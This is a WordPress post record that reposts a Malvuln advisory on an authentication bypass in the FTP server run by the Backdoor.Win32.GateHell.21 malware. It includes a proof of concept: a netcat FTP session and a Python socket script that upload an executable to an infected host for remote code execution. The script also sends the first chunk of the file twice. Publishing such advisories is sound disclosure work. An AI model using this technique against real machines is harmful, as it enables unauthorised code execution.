{"id":23375,"date":"2022-04-19T19:29:53","date_gmt":"2022-04-19T15:29:53","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166774\/MVID-2022-0559.txt"},"modified":"2022-05-09T07:53:10","modified_gmt":"2022-05-09T03:23:10","slug":"backdoor-win32-gatehell-21-authentication-bypass","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/backdoor-win32-gatehell-21-authentication-bypass\/","title":{"rendered":"Backdoor.Win32.GateHell.21 Authentication Bypass"},"content":{"rendered":"<p dir=\"ltr\">Discovery \/ credits: Malvuln &#8211; malvuln.com (c) 2022<br \/>\nOriginal source: https:\/\/malvuln.com\/advisory\/5aa81ddc996be64116754efac0e4f55d.txt<br \/>\nContact: malvuln13@gmail.com<br \/>\nMedia: twitter.com\/malvuln<\/p>\n<p dir=\"ltr\">Threat: Backdoor.Win32.GateHell.21<br \/>\nVulnerability: Authentication Bypass<br \/>\nDescription: The malware runs an FTP server on TCP ports 5301,5432,5300,5299,5298,5297,5296 and 5295. Third-party attackers who can reach infected systems can logon using any username\/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.<br \/>\nFamily: GateHell<br \/>\nType: PE32<br \/>\nMD5: 5aa81ddc996be64116754efac0e4f55d<br \/>\nVuln ID: MVID-2022-0559<br \/>\nDisclosure: 04\/18\/2022<\/p>\n<p dir=\"ltr\">Exploit\/PoC:<br \/>\nC:\\&gt;nc64.exe 192.168.18.125 5301<br \/>\n220 ICS FTP Server ready.<br \/>\nUSER malvuln<br \/>\n331 Password required for malvuln.<br \/>\nPASS malvuln<br \/>\n230 User malvuln logged in.<br \/>\nSYST<br \/>\n215 UNIX Type: L8 Internet Component Suite<br \/>\nCDUP<br \/>\n250 CWD command successful. &#8220;C:\/&#8221; is current directory.<br \/>\nPASV<br \/>\n227 Entering Passive Mode (192,168,18,125,195,126).<br \/>\nSTOR DOOM.exe<br \/>\n150 Opening data connection for DOOM.exe.<br \/>\n226 File received ok<\/p>\n<p dir=\"ltr\">from socket import *<\/p>\n<p dir=\"ltr\">MALWARE_HOST=&#8221;192.168.18.125&#8243;<br \/>\nPORT=50046<br \/>\nDOOM=&#8221;DOOM.exe&#8221;<\/p>\n<p dir=\"ltr\">def doit():<br \/>\ns=socket(AF_INET, SOCK_STREAM)<br \/>\ns.connect((MALWARE_HOST, PORT))<\/p>\n<p dir=\"ltr\">f = open(DOOM, &#8220;rb&#8221;)<br \/>\nEXE = f.read()<br \/>\ns.send(EXE)<\/p>\n<p dir=\"ltr\">while EXE:<br \/>\ns.send(EXE)<br \/>\nEXE=f.read()<\/p>\n<p dir=\"ltr\">s.close()<\/p>\n<p dir=\"ltr\">print(&#8220;By Malvuln&#8221;);<\/p>\n<p dir=\"ltr\">if __name__==&#8221;__main__&#8221;:<br \/>\ndoit()<\/p>\n<p dir=\"ltr\">Disclaimer: The information contained within this advisory is supplied &#8220;as-is&#8221; with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Discovery \/ credits: Malvuln &#8211; malvuln.com (c) 2022 Original source: https:\/\/malvuln.com\/advisory\/5aa81ddc996be64116754efac0e4f55d.txt Contact: malvuln13@gmail.com Media: twitter.com\/malvuln Threat: Backdoor.Win32.GateHell.21 Vulnerability: Authentication Bypass Description: The malware runs an FTP server on TCP ports 5301,5432,5300,5299,5298,5297,5296 and 5295. Third-party attackers who can reach infected systems can logon using any username\/password combination. Intruders may then upload executables using ftp PASV, STOR &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-23375","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/23375","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=23375"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/23375\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=23375"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=23375"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=23375"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}